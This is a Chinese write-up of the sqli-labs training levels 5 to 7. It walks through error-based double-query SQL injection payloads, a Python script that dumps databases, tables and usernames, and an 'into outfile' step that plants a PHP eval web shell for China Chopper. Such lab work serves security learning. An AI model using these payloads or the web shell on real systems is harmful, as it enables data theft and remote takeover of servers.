sqli-labs-Less-5-7

Less-5 GET- Double Query-Single Quotes -String

基于get请求的双查询的单引号字符型注入

什么叫双查询?

双查询又可以叫做嵌套子查询,相当于在select语句中还有一个select语句,而里面的select语句称为子查询

select(select)

双查询你注入

当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

函数 功能
count(*) 统计表中所有记录的个数
count(列名) 统计一列中值的个数,其中重复的记录也会被当做有效的记录。
count(distinct 列名) 统计一列中值的个数,其中重复的记录只会被记录一次。
sum(列名) 计算一列值的总和。
avg(列名) 计算一列值的平均值。
max(列名) 计算一列值中的最大值。
min(列名) 计算一列值中的最小值。
rand() 生成0-1之间的小数随机值
floor() 只返回整数部分,小数部分舍弃
round() 函数四舍五入,大于0.5的部分进位,不到则舍弃
concat() 连接函数,可以连接多个字符
group by 将结果以分组的形式返回

什么时候使用双查询注入?

适用于注入时没有显示位,但是在有显示位的时候同样适用,有显示位时不建议。
双查询注入语句的固定格式

union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆数据语句))a from information_schema.tables group by a)b

测试

sqli-labs/Less-5/?id=1

返回如下,与之前不同

Welcome    Dhakkan
You are in...........

构造payload

select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;

分析:0x3a 表示冒号,rand()2 返回 0-2之间的随机数,floor(rand()2)返回整数0或1。

concat()将返回 ::关键信息::0
或者
::关键信息::1

字段数

sqli-labs/Less-5/?id=1'  order by 6 %23 返回错误
sqli-labs/Less-5/?id=1'  order by 5%23 返回正确

数据库基本信息

sqli-labs/Less-5/?id=1' union select 1,2,3,count(*) ,concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a%23

返回

Welcome    Dhakkan
Duplicate entry '::security::1' for key 'group_key'

当前数据库名

sqli-labs/Less-5/?id=1' union select 1,2,3,count(*) ,concat(0x3a,0x3a,version(),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a%23

版本号

Duplicate entry '::5.5.53::0' for key 'group_key'

读取信息

数据库名(改变 limit 1,1的值获取所有的)

sqli-labs/Less-5/?id=1' union select 1 from (select+count(*),concat(floor(rand(0)*2),( select schema_name from information_schema.schemata limit 1,1) )a from information_schema.tables group by a)b %23

表名

sqli-labs/Less-5/?id=1' union select 1 from (select+count(*),concat(floor(rand(0)*2),( select table_name from information_schema.tables where table_schema='security' limit 0,1) )a from information_schema.columns group by a)b %23

列名

sqli-labs/Less-5/?id=1' union select 1 from (select+count(*),concat(floor(rand(0)*2),( select column_name from information_schema.columns where table_name='users' limit 0,1) )a from information_schema.columns group by a)b %23

数据

sqli-labs/Less-5/?id=1' union select 1 from (select+count(*),concat(floor(rand(0)*2),( select password from security.users limit 0,1) )a from information_schema.columns group by a)b %23

python 小脚本用来爆破(limit太麻烦)

#!/usr/bin/python
#-*-encoding:utf-8-*-

import requests
import re

url = "http://192.168.83.134/sqli-labs/Less-5/"

#获取数据
def getData(url,payload,file_name):
    files = open(file_name,'a')
    #print url+payload
    r = requests.get(url+payload)
    html = r.text
    #print html
    data = re.findall(r'::\w{0,20}::',html)
    for i in data:
        files.write(i)
    files.close()

#获取所有数据库名
def getDatabaseName():
    filename = 'file_databasename.txt'
    for i in range(0,20):
        payload_databases =  '?id=1\' union select 1 from (select+count(*),concat(0x3a,0x3a,( select schema_name from information_schema.schemata limit %s,1),0x3a,0x3a,floor(rand(0)*2) )a from information_schema.tables group by a)b %%23' % i
        getData(url,payload_databases,filename)

#获取某个数据库的所有表名
def getTableName(databasename):
    filename = 'file_tablename.txt'
    for i in range(0,20):
        payload_tables = '?id=1\' union select 1 from (select+count(*),concat(0x3a,0x3a,( select table_name from information_schema.tables where table_schema=%s limit %s,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a)b %%23' % (databasename, i)
        getData(url,payload_tables,filename)

#获取某个表中的所有字段名
def getColumnName(tablename):
    filename = 'file_columnname.txt'
    for i in range(0,20):
        payload_columns = '?id=1\' union select 1 from (select+count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name= %s limit %s,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a)b %%23' % (tablename,i)
        getData(url,payload_columns,filename)

#获取某个表中的数据
def getColumnData(databasename,tablename,columnname):
    filename = columnname+'_data.txt'
    for i in range(0,20):
        payload_columndata = '?id=1\' union select 1 from (select+count(*),concat(0x3a,0x3a,(select %s from %s.%s limit %s,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a)b %%23' % (columnname,databasename,tablename,i)
        getData(url,payload_columndata,filename)

if __name__ == '__main__':
    #获取数据库中所有的数据库名
    print '获取数据库中所有数据库名'
    getDatabaseName()

    #获取security数据库的所有表
    print '获取security数据库的所有表'
    databasename = "'security'"
    getTableName(databasename)

    #获取表中的字段名
    print '获取users表的所有字段名'
    tablename = "'users'"
    getColumnName(tablename)

    #获取users表的username和password
    print '获取users表的username'
    databasename = 'security'
    tablename = 'users'
    columnname = 'username'
    getColumnData(databasename,tablename,columnname)

输出四个文本:file_columnname.txt file_databasename.txt file_tablename.txt

cat file_databasename.txt file_tablename.txt file_columnname.txt username_data.txt 
::information_schema::::challenges::::mysql::::performance_schema::::security::::test::
::emails::::referers::::uagents::::users::
::id::::username::::password::::first_name::::last_name::
::Dumb::::Angelina::::Dummy::::secure::::stupid::::superman::::batman::::admin::::admin1::::admin2::::admin3::::dhakkan::::admin4::

有些地方还是使用了硬编码不够灵活,使用burpsuit的intruct模块爆破更快

Less-6 GET- Double Query-Double Quotes -String

基于get方法请求的双引号双查询字符注入

Less-6与Less-5基本一致,只要报单引号改为双引号即可,不再赘述。

GET-Dump into outfile - String

基于get方法的导出文件的字符型注入

mysql导出数据的方法

select ... into outfile 'filename' 

select可以把被选择的行写入一个文件中,该文件被创建到服务器主机上,因此必须拥有file权限;输出不能是一个已存在的文件,防止文件数据被篡改;在unix中该文件被创建后是可读的,权限有MySQL服务器所有,只能读不能删除

源码分析

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
    echo '<font color= "#FFFF00">';    
    echo 'You are in.... Use outfile......';
    echo "<br>";
    echo "</font>";
    }
    else 
    {
    echo '<font color= "#FFFF00">';
    echo 'You have an error in your SQL syntax';
    //print_r(mysql_error());
    echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}

参数id被单引号和双层括号包裹,正确时显示 You are in…. Use outfile….. 错误时显示 You have an error in your SQL syntax;

构造payload

sqli-labs/Less-7/?id=1')) %23
sqli-labs/Less-7/?id=1')) order by 6%23 返回错误
sqli-labs/Less-7/?id=1')) order by 5%23 返回正常

读写权限测试

sqli-labs/Less-7/?id=1')) and (select count(*) from mysql.user)>0 %23 

返回正常,说明具有读写权限

数据库路径和安装路径

使用Less-5或Less-6的双查询注入方法发现不起作用对比了源代码后才知道在Less-7中把报错显示注释掉了。

//print_r(mysql_error());

本来使用 @@basedir@@datadir来查询安装路径和数据库路径
这里查询不了,总之前的关卡可知 C:/phpStudy/MySQL/

C:\phpStudy\MySQL\data\
推测出目录路径为
C:\phpStudy\WWW\sqli-labs\Less-7\

这里在测试的过程中把报错的注释去掉了,可以看到一个Mysql配置问题

--secure-file-priv option so it cannot execute this statement

在MySQL的目录下的一个my.ini的文件中添加
secure_file_priv = 路径
重启后执行成功

sqli-labs/Less-7/?id=1')) union select 1,2,version(),4,5 into outfile "C:/phpStudy/WWW/sqli-labs/Less-7/1.txt" %23

直接访问

http://192.168.83.134/sqli-labs/Less-7/1.txt

可以看到之前写的数据,试着写入一句话

sqli-labs/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>',4,5 into outfile "C:/phpStudy/WWW/sqli-labs/Less-7/shell.php" %23

写入成功后,能够直接访问,使用中国菜刀直接连接即可

参考:

【科普文】双查询注入

Double SQL Injection(双查询注入)